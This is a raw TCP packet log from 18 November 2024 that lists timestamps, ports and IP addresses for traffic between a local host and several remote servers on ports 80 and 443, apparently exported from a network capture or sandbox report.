Nov 18, 2024 08:55:46.213175058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213185072 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213192940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213205099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213208914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213215113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213226080 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213229895 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213238001 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213249922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213255882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213260889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213273048 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213274956 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213291883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213293076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213301897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213314056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213325024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213325977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213335991 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213345051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213347912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213361025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213380098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213380098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213392019 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213398933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213428020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213453054 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213736057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213782072 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213785887 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213797092 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213829994 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213829994 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213840008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.213850021 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213890076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.213890076 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.218713999 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.221482992 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.221513987 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.222125053 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.222157955 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.222268105 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.224159002 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.224184036 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.224661112 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.224669933 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.225874901 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.226309061 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.226330042 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.226695061 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.226700068 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.228665113 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.228966951 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.228976011 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.229974031 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.230031013 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.230410099 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.230460882 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.230603933 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.264293909 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.271342993 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274816036 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274841070 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274849892 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274880886 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274894953 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274899006 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.274964094 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.274965048 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.275000095 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.275067091 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.292289019 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.292309999 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.292862892 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.292866945 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.294776917 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.294789076 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.294810057 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.294842958 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.294863939 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.294888973 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.294898033 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.294931889 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.323432922 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.323448896 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.337013960 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.337105036 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.337167978 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.337369919 CET	49917	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.337388992 CET	443	49917	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.341387987 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.341423035 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.341558933 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.341785908 CET	49931	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.341797113 CET	443	49931	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.344914913 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.344980001 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.345061064 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.345330000 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.345346928 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.345356941 CET	49918	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.345361948 CET	443	49918	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.349131107 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.349149942 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.349234104 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.349364996 CET	49932	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.349373102 CET	443	49932	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.352724075 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.352754116 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.352802992 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.352824926 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.352936983 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.352969885 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.352969885 CET	49915	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.352981091 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.352991104 CET	443	49915	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.353981018 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.354044914 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.354111910 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.354582071 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.354589939 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.354598045 CET	49916	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.354602098 CET	443	49916	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.357001066 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.357034922 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.357167006 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.357342005 CET	49933	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.357355118 CET	443	49933	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.358838081 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.358850956 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.359092951 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.359214067 CET	49934	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.359224081 CET	443	49934	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.392414093 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.392440081 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.392618895 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.392638922 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.394964933 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.411176920 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.411191940 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.411226988 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.411267042 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.411281109 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.411303043 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.411308050 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.411339045 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.411497116 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.418809891 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.418838024 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.418889046 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.418941975 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.418960094 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.423477888 CET	49914	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.423505068 CET	443	49914	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.423847914 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.423861980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.423942089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.423942089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.425163031 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.452971935 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.453661919 CET	49921	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:46.453680992 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.454022884 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.455981016 CET	49921	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:46.456043005 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.456172943 CET	49921	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:46.469862938 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469886065 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469893932 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469916105 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469927073 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469933987 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469954967 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.469974041 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.469995975 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.470016956 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.480479002 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.480487108 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.480524063 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.480529070 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.480535984 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.480551004 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.480551958 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.480557919 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.480576992 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.480611086 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.483043909 CET	49920	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.483055115 CET	443	49920	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.490010977 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.490098000 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.490175009 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.490430117 CET	49935	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:46.490464926 CET	443	49935	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:46.503330946 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.586553097 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.586565018 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.586606979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.586617947 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.586630106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.586642027 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.586656094 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.586664915 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.586673021 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.586705923 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.586728096 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.587085009 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.587085009 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.587105989 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.587333918 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.596282005 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.596306086 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.596450090 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.596450090 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.596462011 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.596668959 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.598951101 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.598979950 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.599073887 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.599073887 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.599080086 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.599234104 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.625344992 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.625510931 CET	49921	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:46.626631021 CET	49921	443	192.168.2.7	3.170.115.57
Nov 18, 2024 08:55:46.626653910 CET	443	49921	3.170.115.57	192.168.2.7
Nov 18, 2024 08:55:46.638901949 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.638926983 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.639333963 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.639333963 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.639347076 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.641046047 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.644565105 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.647303104 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.651916981 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.651933908 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.652041912 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.652053118 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.652689934 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.653131962 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.653186083 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.653815031 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.653939962 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.654023886 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.654762030 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.655761003 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.655781984 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.655865908 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.655888081 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.656172991 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.657196999 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.657253027 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.658524036 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.658524036 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.658622026 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.658632040 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.658704996 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.658724070 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.659168959 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.659250021 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.659425974 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.659548044 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.659724951 CET	49927	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.659730911 CET	443	49927	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.659745932 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.659806967 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.659917116 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.659920931 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.660043955 CET	49926	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.660063982 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.660135031 CET	49923	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.660890102 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.660940886 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.661139011 CET	49922	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.663755894 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.664186001 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.664205074 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.665230989 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.665287971 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.665893078 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.665956974 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.666378021 CET	49924	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.666390896 CET	443	49924	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.703325033 CET	443	49922	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.704226971 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.704262018 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.704422951 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.704422951 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.704437971 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.704682112 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.707323074 CET	443	49923	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.713088989 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.713115931 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.714186907 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.714246035 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.714246988 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.714246988 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.714258909 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.714803934 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.714819908 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.714875937 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.714875937 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.714875937 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.714884043 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.716357946 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.716377974 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.716883898 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.716883898 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.716891050 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.717443943 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.717458963 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.717571974 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.717571974 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.717578888 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.735922098 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.745513916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.745548010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.745574951 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.745599985 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.745666027 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.745677948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.745697021 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.745707989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:46.745711088 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.745748997 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:46.756252050 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.756285906 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.756421089 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.756421089 CET	49919	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:46.756441116 CET	443	49919	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:46.782413006 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.782495022 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.782613993 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.784210920 CET	49925	443	192.168.2.7	104.117.247.48
Nov 18, 2024 08:55:46.784230947 CET	443	49925	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.784321070 CET	443	49926	104.117.247.48	192.168.2.7
Nov 18, 2024 08:55:46.784404039 CET	49926	443	192.168.2.7	104.117.247.48
